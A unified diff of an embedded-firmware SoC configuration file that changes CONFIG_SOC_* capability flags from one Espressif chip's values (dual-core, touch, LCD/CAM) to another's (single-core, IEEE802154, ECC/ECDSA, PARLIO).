+CONFIG_SOC_DEDICATED_GPIO_SUPPORTED=y CONFIG_SOC_UART_SUPPORTED=y -CONFIG_SOC_PCNT_SUPPORTED=y -CONFIG_SOC_PHY_SUPPORTED=y -CONFIG_SOC_WIFI_SUPPORTED=y -CONFIG_SOC_TWAI_SUPPORTED=y -CONFIG_SOC_GDMA_SUPPORTED=y CONFIG_SOC_UHCI_SUPPORTED=y +CONFIG_SOC_GDMA_SUPPORTED=y CONFIG_SOC_AHB_GDMA_SUPPORTED=y CONFIG_SOC_GPTIMER_SUPPORTED=y -CONFIG_SOC_LCDCAM_SUPPORTED=y -CONFIG_SOC_LCDCAM_CAM_SUPPORTED=y -CONFIG_SOC_LCDCAM_I80_LCD_SUPPORTED=y -CONFIG_SOC_LCDCAM_RGB_LCD_SUPPORTED=y +CONFIG_SOC_PCNT_SUPPORTED=y CONFIG_SOC_MCPWM_SUPPORTED=y -CONFIG_SOC_DEDICATED_GPIO_SUPPORTED=y -CONFIG_SOC_CACHE_SUPPORT_WRAP=y -CONFIG_SOC_ULP_SUPPORTED=y -CONFIG_SOC_ULP_FSM_SUPPORTED=y -CONFIG_SOC_RISCV_COPROC_SUPPORTED=y -CONFIG_SOC_BT_SUPPORTED=y -CONFIG_SOC_USB_OTG_SUPPORTED=y -CONFIG_SOC_USB_SERIAL_JTAG_SUPPORTED=y -CONFIG_SOC_CCOMP_TIMER_SUPPORTED=y +CONFIG_SOC_TWAI_SUPPORTED=y +CONFIG_SOC_ETM_SUPPORTED=y +CONFIG_SOC_PARLIO_SUPPORTED=y CONFIG_SOC_ASYNC_MEMCPY_SUPPORTED=y +CONFIG_SOC_USB_SERIAL_JTAG_SUPPORTED=y +CONFIG_SOC_TEMP_SENSOR_SUPPORTED=y +CONFIG_SOC_WIFI_SUPPORTED=y CONFIG_SOC_SUPPORTS_SECURE_DL_MODE=y +CONFIG_SOC_LP_CORE_SUPPORTED=y +CONFIG_SOC_ULP_SUPPORTED=y CONFIG_SOC_EFUSE_KEY_PURPOSE_FIELD=y CONFIG_SOC_EFUSE_SUPPORTED=y -CONFIG_SOC_SDMMC_HOST_SUPPORTED=y CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y -CONFIG_SOC_RTC_SLOW_MEM_SUPPORTED=y CONFIG_SOC_RTC_MEM_SUPPORTED=y -CONFIG_SOC_PSRAM_DMA_CAPABLE=y -CONFIG_SOC_XT_WDT_SUPPORTED=y CONFIG_SOC_I2S_SUPPORTED=y CONFIG_SOC_RMT_SUPPORTED=y CONFIG_SOC_SDM_SUPPORTED=y @@ -44,144 +34,193 @@ CONFIG_SOC_LEDC_SUPPORTED=y CONFIG_SOC_I2C_SUPPORTED=y CONFIG_SOC_SYSTIMER_SUPPORTED=y CONFIG_SOC_SUPPORT_COEXISTENCE=y -CONFIG_SOC_TEMP_SENSOR_SUPPORTED=y CONFIG_SOC_AES_SUPPORTED=y CONFIG_SOC_MPI_SUPPORTED=y CONFIG_SOC_SHA_SUPPORTED=y +CONFIG_SOC_RSA_SUPPORTED=y CONFIG_SOC_HMAC_SUPPORTED=y CONFIG_SOC_DIG_SIGN_SUPPORTED=y +CONFIG_SOC_ECC_SUPPORTED=y +CONFIG_SOC_ECC_EXTENDED_MODES_SUPPORTED=y CONFIG_SOC_FLASH_ENC_SUPPORTED=y CONFIG_SOC_SECURE_BOOT_SUPPORTED=y -CONFIG_SOC_MEMPROT_SUPPORTED=y -CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y +CONFIG_SOC_IEEE802154_SUPPORTED=y CONFIG_SOC_BOD_SUPPORTED=y +CONFIG_SOC_APM_SUPPORTED=y +CONFIG_SOC_PMU_SUPPORTED=y +CONFIG_SOC_PAU_SUPPORTED=y +CONFIG_SOC_LP_TIMER_SUPPORTED=y +CONFIG_SOC_LP_AON_SUPPORTED=y +CONFIG_SOC_LP_PERIPHERALS_SUPPORTED=y +CONFIG_SOC_LP_I2C_SUPPORTED=y +CONFIG_SOC_ULP_LP_UART_SUPPORTED=y CONFIG_SOC_CLK_TREE_SUPPORTED=y -CONFIG_SOC_MPU_SUPPORTED=y +CONFIG_SOC_ASSIST_DEBUG_SUPPORTED=y CONFIG_SOC_WDT_SUPPORTED=y +CONFIG_SOC_SDIO_SLAVE_SUPPORTED=y CONFIG_SOC_SPI_FLASH_SUPPORTED=y +CONFIG_SOC_ECDSA_SUPPORTED=y CONFIG_SOC_RNG_SUPPORTED=y +CONFIG_SOC_KEY_MANAGER_SUPPORTED=y +CONFIG_SOC_HUK_SUPPORTED=y +CONFIG_SOC_MODEM_CLOCK_SUPPORTED=y CONFIG_SOC_LIGHT_SLEEP_SUPPORTED=y CONFIG_SOC_DEEP_SLEEP_SUPPORTED=y -CONFIG_SOC_LP_PERIPH_SHARE_INTERRUPT=y CONFIG_SOC_PM_SUPPORTED=y -CONFIG_SOC_SIMD_INSTRUCTION_SUPPORTED=y +CONFIG_SOC_CLOCK_TREE_MANAGEMENT_SUPPORTED=y +CONFIG_SOC_SPIRAM_SUPPORTED=y +CONFIG_SOC_BT_SUPPORTED=y +CONFIG_SOC_PHY_SUPPORTED=y +CONFIG_SOC_BITSCRAMBLER_SUPPORTED=y CONFIG_SOC_XTAL_SUPPORT_40M=y -CONFIG_SOC_APPCPU_HAS_CLOCK_GATING_BUG=y -CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y +CONFIG_SOC_XTAL_SUPPORT_48M=y +CONFIG_SOC_XTAL_CLOCK_PATH_DEPENDS_ON_TOP_DOMAIN=y +CONFIG_SOC_AES_SUPPORT_DMA=y +CONFIG_SOC_AES_GDMA=y +CONFIG_SOC_AES_SUPPORT_AES_128=y +CONFIG_SOC_AES_SUPPORT_AES_256=y +CONFIG_SOC_AES_SUPPORT_PSEUDO_ROUND_FUNCTION=y CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y -CONFIG_SOC_ADC_ARBITER_SUPPORTED=y CONFIG_SOC_ADC_DIG_IIR_FILTER_SUPPORTED=y CONFIG_SOC_ADC_MONITOR_SUPPORTED=y CONFIG_SOC_ADC_DMA_SUPPORTED=y -CONFIG_SOC_ADC_PERIPH_NUM=2 -CONFIG_SOC_ADC_MAX_CHANNEL_NUM=10 +CONFIG_SOC_ADC_PERIPH_NUM=1 +CONFIG_SOC_ADC_MAX_CHANNEL_NUM=6 CONFIG_SOC_ADC_ATTEN_NUM=4 -CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2 -CONFIG_SOC_ADC_PATT_LEN_MAX=24 -CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=12 +CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=1 +CONFIG_SOC_ADC_PATT_LEN_MAX=8 CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12 -CONFIG_SOC_ADC_DIGI_RESULT_BYTES=4 -CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4 +CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=12 CONFIG_SOC_ADC_DIGI_IIR_FILTER_NUM=2 CONFIG_SOC_ADC_DIGI_MONITOR_NUM=2 +CONFIG_SOC_ADC_DIGI_RESULT_BYTES=4 +CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4 CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=83333 CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=611 CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=12 CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12 CONFIG_SOC_ADC_CALIBRATION_V1_SUPPORTED=y -CONFIG_SOC_ADC_SELF_HW_CALI_SUPPORTED=y +CONFIG_SOC_ADC_CALIB_CHAN_COMPENS_SUPPORTED=y +CONFIG_SOC_ADC_TEMPERATURE_SHARE_INTR=y CONFIG_SOC_ADC_SHARED_POWER=y -CONFIG_SOC_APB_BACKUP_DMA=y CONFIG_SOC_BROWNOUT_RESET_SUPPORTED=y +CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y CONFIG_SOC_CACHE_WRITEBACK_SUPPORTED=y CONFIG_SOC_CACHE_FREEZE_SUPPORTED=y -CONFIG_SOC_CACHE_ACS_INVALID_STATE_ON_PANIC=y -CONFIG_SOC_CPU_CORES_NUM=2 +CONFIG_SOC_CPU_CORES_NUM=1 CONFIG_SOC_CPU_INTR_NUM=32 -CONFIG_SOC_CPU_HAS_FPU=y -CONFIG_SOC_HP_CPU_HAS_MULTIPLE_CORES=y -CONFIG_SOC_CPU_BREAKPOINTS_NUM=2 -CONFIG_SOC_CPU_WATCHPOINTS_NUM=2 -CONFIG_SOC_CPU_WATCHPOINT_MAX_REGION_SIZE=0x40 -CONFIG_SOC_SIMD_PREFERRED_DATA_ALIGNMENT=16 -CONFIG_SOC_DS_SIGNATURE_MAX_BIT_LEN=4096 +CONFIG_SOC_CPU_HAS_FLEXIBLE_INTC=y +CONFIG_SOC_CPU_SUPPORT_WFE=y +CONFIG_SOC_INT_CLIC_SUPPORTED=y +CONFIG_SOC_INT_HW_NESTED_SUPPORTED=y +CONFIG_SOC_BRANCH_PREDICTOR_SUPPORTED=y +CONFIG_SOC_CPU_BREAKPOINTS_NUM=4 +CONFIG_SOC_CPU_WATCHPOINTS_NUM=4 +CONFIG_SOC_CPU_WATCHPOINT_MAX_REGION_SIZE=0x100 +CONFIG_SOC_CPU_HAS_PMA=y +CONFIG_SOC_CPU_IDRAM_SPLIT_USING_PMP=y +CONFIG_SOC_CPU_PMP_REGION_GRANULARITY=128 +CONFIG_SOC_CPU_HAS_LOCKUP_RESET=y +CONFIG_SOC_DS_SIGNATURE_MAX_BIT_LEN=3072 CONFIG_SOC_DS_KEY_PARAM_MD_IV_LENGTH=16 CONFIG_SOC_DS_KEY_CHECK_MAX_WAIT_US=1100 -CONFIG_SOC_AHB_GDMA_VERSION=1 +CONFIG_SOC_DMA_CAN_ACCESS_FLASH=y +CONFIG_SOC_AHB_GDMA_VERSION=2 CONFIG_SOC_GDMA_NUM_GROUPS_MAX=1 -CONFIG_SOC_GDMA_PAIRS_PER_GROUP=5 -CONFIG_SOC_GDMA_PAIRS_PER_GROUP_MAX=5 +CONFIG_SOC_GDMA_PAIRS_PER_GROUP_MAX=3 +CONFIG_SOC_GDMA_SUPPORT_ETM=y +CONFIG_SOC_GDMA_SUPPORT_SLEEP_RETENTION=y CONFIG_SOC_AHB_GDMA_SUPPORT_PSRAM=y +CONFIG_SOC_ETM_GROUPS=1 +CONFIG_SOC_ETM_CHANNELS_PER_GROUP=50 +CONFIG_SOC_ETM_SUPPORT_SLEEP_RETENTION=y CONFIG_SOC_GPIO_PORT=1 -CONFIG_SOC_GPIO_PIN_COUNT=49 +CONFIG_SOC_GPIO_PIN_COUNT=29 CONFIG_SOC_GPIO_SUPPORT_PIN_GLITCH_FILTER=y -CONFIG_SOC_GPIO_FILTER_CLK_SUPPORT_APB=y +CONFIG_SOC_GPIO_FLEX_GLITCH_FILTER_NUM=8 +CONFIG_SOC_GPIO_SUPPORT_PIN_HYS_FILTER=y +CONFIG_SOC_GPIO_SUPPORT_ETM=y CONFIG_SOC_GPIO_SUPPORT_RTC_INDEPENDENT=y +CONFIG_SOC_GPIO_SUPPORT_DEEPSLEEP_WAKEUP=y +CONFIG_SOC_LP_IO_CLOCK_IS_INDEPENDENT=y +CONFIG_SOC_GPIO_IN_RANGE_MAX=28 +CONFIG_SOC_GPIO_OUT_RANGE_MAX=28 +CONFIG_SOC_GPIO_DEEP_SLEEP_WAKE_VALID_GPIO_MASK=0 +CONFIG_SOC_GPIO_DEEP_SLEEP_WAKE_SUPPORTED_PIN_CNT=7 +CONFIG_SOC_GPIO_VALID_DIGITAL_IO_PAD_MASK=0x0000000001FFFF80 CONFIG_SOC_GPIO_SUPPORT_FORCE_HOLD=y -CONFIG_SOC_GPIO_VALID_GPIO_MASK=0x1FFFFFFFFFFFF -CONFIG_SOC_GPIO_IN_RANGE_MAX=48 -CONFIG_SOC_GPIO_OUT_RANGE_MAX=48 -CONFIG_SOC_GPIO_VALID_DIGITAL_IO_PAD_MASK=0x0001FFFFFC000000 -CONFIG_SOC_GPIO_CLOCKOUT_BY_IO_MUX=y -CONFIG_SOC_GPIO_CLOCKOUT_CHANNEL_NUM=3 CONFIG_SOC_GPIO_SUPPORT_HOLD_IO_IN_DSLP=y +CONFIG_SOC_GPIO_SUPPORT_HOLD_SINGLE_IO_IN_DSLP=y +CONFIG_SOC_GPIO_CLOCKOUT_CHANNEL_NUM=3 +CONFIG_SOC_RTCIO_PIN_COUNT=7 +CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y +CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y +CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y +CONFIG_SOC_RTCIO_EDGE_WAKE_SUPPORTED=y CONFIG_SOC_DEDIC_GPIO_OUT_CHANNELS_NUM=8 CONFIG_SOC_DEDIC_GPIO_IN_CHANNELS_NUM=8 -CONFIG_SOC_DEDIC_GPIO_OUT_AUTO_ENABLE=y +CONFIG_SOC_DEDIC_PERIPH_ALWAYS_ENABLE=y +CONFIG_SOC_ANA_CMPR_NUM=1 +CONFIG_SOC_ANA_CMPR_CAN_DISTINGUISH_EDGE=y +CONFIG_SOC_ANA_CMPR_SUPPORT_ETM=y CONFIG_SOC_I2C_NUM=2 -CONFIG_SOC_HP_I2C_NUM=2 +CONFIG_SOC_HP_I2C_NUM=1 CONFIG_SOC_I2C_FIFO_LEN=32 CONFIG_SOC_I2C_CMD_REG_NUM=8 CONFIG_SOC_I2C_SUPPORT_SLAVE=y -CONFIG_SOC_I2C_SUPPORT_HW_CLR_BUS=y +CONFIG_SOC_I2C_SUPPORT_HW_FSM_RST=y CONFIG_SOC_I2C_SUPPORT_XTAL=y CONFIG_SOC_I2C_SUPPORT_RTC=y CONFIG_SOC_I2C_SUPPORT_10BIT_ADDR=y CONFIG_SOC_I2C_SLAVE_SUPPORT_BROADCAST=y -CONFIG_SOC_I2C_SLAVE_SUPPORT_I2CRAM_ACCESS=y CONFIG_SOC_I2C_SLAVE_CAN_GET_STRETCH_CAUSE=y -CONFIG_SOC_I2S_NUM=2 +CONFIG_SOC_I2C_SLAVE_SUPPORT_I2CRAM_ACCESS=y +CONFIG_SOC_I2C_SLAVE_SUPPORT_SLAVE_UNMATCH=y +CONFIG_SOC_I2C_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_LP_I2C_NUM=1 +CONFIG_SOC_LP_I2C_FIFO_LEN=16 +CONFIG_SOC_I2S_NUM=1 CONFIG_SOC_I2S_HW_VERSION_2=y +CONFIG_SOC_I2S_SUPPORTS_ETM=y CONFIG_SOC_I2S_SUPPORTS_XTAL=y CONFIG_SOC_I2S_SUPPORTS_PLL_F160M=y +CONFIG_SOC_I2S_SUPPORTS_PLL_F240M=y CONFIG_SOC_I2S_SUPPORTS_PCM=y CONFIG_SOC_I2S_SUPPORTS_PDM=y CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y CONFIG_SOC_I2S_SUPPORTS_PCM2PDM=y CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y -CONFIG_SOC_I2S_SUPPORTS_PDM2PCM=y +CONFIG_SOC_I2S_SUPPORTS_TX_SYNC_CNT=y CONFIG_SOC_I2S_PDM_MAX_TX_LINES=2 -CONFIG_SOC_I2S_PDM_MAX_RX_LINES=4 +CONFIG_SOC_I2S_PDM_MAX_RX_LINES=1 CONFIG_SOC_I2S_SUPPORTS_TDM=y -CONFIG_SOC_LEDC_SUPPORT_APB_CLOCK=y +CONFIG_SOC_I2S_TDM_FULL_DATA_WIDTH=y +CONFIG_SOC_I2S_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_LEDC_SUPPORT_PLL_DIV_CLOCK=y CONFIG_SOC_LEDC_SUPPORT_XTAL_CLOCK=y CONFIG_SOC_LEDC_TIMER_NUM=4 -CONFIG_SOC_LEDC_CHANNEL_NUM=8 -CONFIG_SOC_LEDC_TIMER_BIT_WIDTH=14 +CONFIG_SOC_LEDC_CHANNEL_NUM=6 +CONFIG_SOC_LEDC_TIMER_BIT_WIDTH=20 CONFIG_SOC_LEDC_SUPPORT_FADE_STOP=y -CONFIG_SOC_MCPWM_GROUPS=2 -CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3 -CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3 -CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2 -CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2 -CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2 -CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3 -CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y -CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3 -CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3 -CONFIG_SOC_MCPWM_SWSYNC_CAN_PROPAGATE=y -CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=1 +CONFIG_SOC_LEDC_GAMMA_CURVE_FADE_SUPPORTED=y +CONFIG_SOC_LEDC_GAMMA_CURVE_FADE_RANGE_MAX=16 +CONFIG_SOC_LEDC_FADE_PARAMS_BIT_WIDTH=10 +CONFIG_SOC_LEDC_SUPPORT_SLEEP_RETENTION=y CONFIG_SOC_MMU_PERIPH_NUM=1 -CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000 -CONFIG_SOC_MPU_REGIONS_MAX_NUM=8 +CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=1 +CONFIG_SOC_MMU_DI_VADDR_SHARED=y CONFIG_SOC_PCNT_GROUPS=1 CONFIG_SOC_PCNT_UNITS_PER_GROUP=4 CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2 CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2 +CONFIG_SOC_PCNT_SUPPORT_RUNTIME_THRES_UPDATE=y +CONFIG_SOC_PCNT_SUPPORT_CLEAR_SIGNAL=y +CONFIG_SOC_PCNT_SUPPORT_STEP_NOTIFY=y +CONFIG_SOC_PCNT_SUPPORT_SLEEP_RETENTION=y CONFIG_SOC_RMT_GROUPS=1 -CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=4 -CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=4 -CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8 +CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=2 +CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=2 +CONFIG_SOC_RMT_CHANNELS_PER_GROUP=4 CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=48 CONFIG_SOC_RMT_SUPPORT_RX_PINGPONG=y CONFIG_SOC_RMT_SUPPORT_RX_DEMODULATION=y @@ -191,32 +230,62 @@ CONFIG_SOC_RMT_SUPPORT_TX_LOOP_AUTO_STOP=y CONFIG_SOC_RMT_SUPPORT_TX_SYNCHRO=y CONFIG_SOC_RMT_SUPPORT_TX_CARRIER_DATA_ONLY=y CONFIG_SOC_RMT_SUPPORT_XTAL=y -CONFIG_SOC_RMT_SUPPORT_RC_FAST=y -CONFIG_SOC_RMT_SUPPORT_APB=y -CONFIG_SOC_RMT_SUPPORT_DMA=y -CONFIG_SOC_LCD_I80_SUPPORTED=y -CONFIG_SOC_LCD_RGB_SUPPORTED=y -CONFIG_SOC_LCD_I80_BUSES=1 -CONFIG_SOC_LCD_RGB_PANELS=1 -CONFIG_SOC_LCD_I80_BUS_WIDTH=16 -CONFIG_SOC_LCD_RGB_DATA_WIDTH=16 -CONFIG_SOC_LCD_SUPPORT_RGB_YUV_CONV=y -CONFIG_SOC_LCDCAM_I80_NUM_BUSES=1 -CONFIG_SOC_LCDCAM_I80_BUS_WIDTH=16 -CONFIG_SOC_LCDCAM_RGB_NUM_PANELS=1 -CONFIG_SOC_LCDCAM_RGB_DATA_WIDTH=16 -CONFIG_SOC_RTC_CNTL_CPU_PD_DMA_BUS_WIDTH=128 -CONFIG_SOC_RTC_CNTL_CPU_PD_REG_FILE_NUM=549 -CONFIG_SOC_RTC_CNTL_TAGMEM_PD_DMA_BUS_WIDTH=128 -CONFIG_SOC_RTCIO_PIN_COUNT=22 -CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y -CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y -CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y -CONFIG_SOC_LP_IO_CLOCK_IS_INDEPENDENT=y +CONFIG_SOC_RMT_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_MCPWM_GROUPS=1 +CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3 +CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3 +CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_EVENT_COMPARATORS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2 +CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3 +CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y +CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3 +CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3 +CONFIG_SOC_MCPWM_SWSYNC_CAN_PROPAGATE=y +CONFIG_SOC_MCPWM_SUPPORT_ETM=y +CONFIG_SOC_MCPWM_SUPPORT_EVENT_COMPARATOR=y +CONFIG_SOC_MCPWM_CAPTURE_CLK_FROM_GROUP=y +CONFIG_SOC_MCPWM_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_PARLIO_GROUPS=1 +CONFIG_SOC_PARLIO_TX_UNITS_PER_GROUP=1 +CONFIG_SOC_PARLIO_RX_UNITS_PER_GROUP=1 +CONFIG_SOC_PARLIO_TX_UNIT_MAX_DATA_WIDTH=8 +CONFIG_SOC_PARLIO_RX_UNIT_MAX_DATA_WIDTH=8 +CONFIG_SOC_PARLIO_TX_CLK_SUPPORT_GATING=y +CONFIG_SOC_PARLIO_RX_CLK_SUPPORT_GATING=y +CONFIG_SOC_PARLIO_RX_CLK_SUPPORT_OUTPUT=y +CONFIG_SOC_PARLIO_TRANS_BIT_ALIGN=y +CONFIG_SOC_PARLIO_TX_SUPPORT_LOOP_TRANSMISSION=y +CONFIG_SOC_PARLIO_TX_SUPPORT_EOF_FROM_DMA=y +CONFIG_SOC_PARLIO_SUPPORT_SLEEP_RETENTION=y +CONFIG_SOC_PARLIO_SUPPORT_SPI_LCD=y +CONFIG_SOC_PARLIO_SUPPORT_I80_LCD=y +CONFIG_SOC_MPI_MEM_BLOCKS_NUM=4 +CONFIG_SOC_MPI_OPERATIONS_NUM=3 +CONFIG_SOC_RSA_MAX_BIT_LEN=3072 +CONFIG_SOC_SHA_DMA_MAX_BUFFER_SIZE=3968 +CONFIG_SOC_SHA_SUPPORT_DMA=y +CONFIG_SOC_SHA_SUPPORT_RESUME=y +CONFIG_SOC_SHA_GDMA=y +CONFIG_SOC_SHA_SUPPORT_SHA1=y +CONFIG_SOC_SHA_SUPPORT_SHA224=y +CONFIG_SOC_SHA_SUPPORT_SHA256=y +CONFIG_SOC_SHA_SUPPORT_SHA384=y +CONFIG_SOC_SHA_SUPPORT_SHA512=y +CONFIG_SOC_SHA_SUPPORT_SHA512_224=y +CONFIG_SOC_SHA_SUPPORT_SHA512_256=y +CONFIG_SOC_SHA_SUPPORT_SHA512_T=y +CONFIG_SOC_ECC_CONSTANT_TIME_POINT_MUL=y +CONFIG_SOC_ECDSA_SUPPORT_EXPORT_PUBKEY=y +CONFIG_SOC_ECDSA_SUPPORT_DETERMINISTIC_MODE=y +CONFIG_SOC_ECDSA_SUPPORT_HW_DETERMINISTIC_LOOP=y +CONFIG_SOC_ECDSA_SUPPORT_CURVE_P384=y CONFIG_SOC_SDM_GROUPS=1 -CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8 -CONFIG_SOC_SDM_CLK_SUPPORT_APB=y -CONFIG_SOC_SPI_PERIPH_NUM=3 +CONFIG_SOC_SDM_CHANNELS_PER_GROUP=4 +CONFIG_SOC_SDM_CLK_SUPPORT_PLL_F80M=y +CONFIG_SOC_SDM_CLK_SUPPORT_XTAL=y +CONFIG_SOC_SPI_PERIPH_NUM=2 CONFIG_SOC_SPI_MAX_CS_NUM=6 CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64 CONFIG_SOC_SPI_SUPPORT_DDRCLK=y @@ -224,176 +293,192 @@ CONFIG_SOC_SPI_SLAVE_SUPPORT_SEG_TRANS=y CONFIG_SOC_SPI_SUPPORT_CD_SIG=y CONFIG_SOC_SPI_SUPPORT_CONTINUOUS_TRANS=y CONFIG_SOC_SPI_SUPPORT_SLAVE_HD_VER2=y -CONFIG_SOC_SPI_SUPPORT_CLK_APB=y +CONFIG_SOC_SPI_SUPPORT_SLEEP_RETENTION=y CONFIG_SOC_SPI_SUPPORT_CLK_XTAL=y -CONFIG_SOC_SPI_PERIPH_SUPPORT_CONTROL_DUMMY_OUT=y +CONFIG_SOC_SPI_SUPPORT_CLK_PLL_F160M=y +CONFIG_SOC_SPI_SUPPORT_CLK_RC_FAST=y CONFIG_SOC_MEMSPI_IS_INDEPENDENT=y CONFIG_SOC_SPI_MAX_PRE_DIVIDER=16 -CONFIG_SOC_SPI_SUPPORT_OCT=y -CONFIG_SOC_SPI_SCT_SUPPORTED=y -CONFIG_SOC_SPI_SCT_REG_NUM=14 -CONFIG_SOC_SPI_SCT_BUFFER_NUM_MAX=y -CONFIG_SOC_SPI_SCT_CONF_BITLEN_MAX=0x3FFFA +CONFIG_SOC_SPIRAM_XIP_SUPPORTED=y +CONFIG_SOC_PSRAM_DMA_CAPABLE=y +CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_WAIT_IDLE=y +CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_SUSPEND=y +CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_RESUME=y +CONFIG_SOC_SPI_MEM_SUPPORT_IDLE_INTR=y +CONFIG_SOC_SPI_MEM_SUPPORT_SW_SUSPEND=y +CONFIG_SOC_SPI_MEM_SUPPORT_CHECK_SUS=y +CONFIG_SOC_SPI_MEM_SUPPORT_WRAP=y +CONFIG_SOC_SPI_MEM_SUPPORT_WB_MODE_INDEPENDENT_CONTROL=y +CONFIG_SOC_SPI_MEM_SUPPORT_CACHE_32BIT_ADDR_MAP=y +CONFIG_SOC_SPI_MEM_SUPPORT_TIMING_TUNING=y +CONFIG_SOC_SPI_MEM_SUPPORT_TSUS_TRES_SEPERATE_CTR=y +CONFIG_SOC_MEMSPI_TIMING_TUNING_BY_MSPI_DELAY=y CONFIG_SOC_MEMSPI_SRC_FREQ_120M_SUPPORTED=y CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y -CONFIG_SOC_SPIRAM_SUPPORTED=y -CONFIG_SOC_SPIRAM_XIP_SUPPORTED=y CONFIG_SOC_SYSTIMER_COUNTER_NUM=2 CONFIG_SOC_SYSTIMER_ALARM_NUM=3 CONFIG_SOC_SYSTIMER_BIT_WIDTH_LO=32 CONFIG_SOC_SYSTIMER_BIT_WIDTH_HI=20 CONFIG_SOC_SYSTIMER_FIXED_DIVIDER=y +CONFIG_SOC_SYSTIMER_SUPPORT_RC_FAST=y CONFIG_SOC_SYSTIMER_INT_LEVEL=y CONFIG_SOC_SYSTIMER_ALARM_MISS_COMPENSATE=y +CONFIG_SOC_SYSTIMER_SUPPORT_ETM=y +CONFIG_SOC_LP_TIMER_BIT_WIDTH_LO=32 +CONFIG_SOC_LP_TIMER_BIT_WIDTH_HI=16 CONFIG_SOC_TIMER_GROUPS=2 -CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2 +CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=1 CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=54 CONFIG_SOC_TIMER_GROUP_SUPPORT_XTAL=y -CONFIG_SOC_TIMER_GROUP_SUPPORT_APB=y -CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4 -CONFIG_SOC_LP_TIMER_BIT_WIDTH_LO=32 -CONFIG_SOC_LP_TIMER_BIT_WIDTH_HI=16 -CONFIG_SOC_TOUCH_SENSOR_VERSION=2 -CONFIG_SOC_TOUCH_SENSOR_NUM=15 -CONFIG_SOC_TOUCH_MIN_CHAN_ID=1 -CONFIG_SOC_TOUCH_MAX_CHAN_ID=14 -CONFIG_SOC_TOUCH_SUPPORT_BENCHMARK=y -CONFIG_SOC_TOUCH_SUPPORT_SLEEP_WAKEUP=y -CONFIG_SOC_TOUCH_SUPPORT_WATERPROOF=y -CONFIG_SOC_TOUCH_SUPPORT_PROX_SENSING=y -CONFIG_SOC_TOUCH_SUPPORT_DENOISE_CHAN=y -CONFIG_SOC_TOUCH_PROXIMITY_CHANNEL_NUM=3 -CONFIG_SOC_TOUCH_PROXIMITY_MEAS_DONE_SUPPORTED=y -CONFIG_SOC_TOUCH_SAMPLE_CFG_NUM=1 -CONFIG_SOC_TWAI_CONTROLLER_NUM=1 -CONFIG_SOC_TWAI_MASK_FILTER_NUM=1 -CONFIG_SOC_TWAI_CLK_SUPPORT_APB=y -CONFIG_SOC_TWAI_BRP_MIN=2 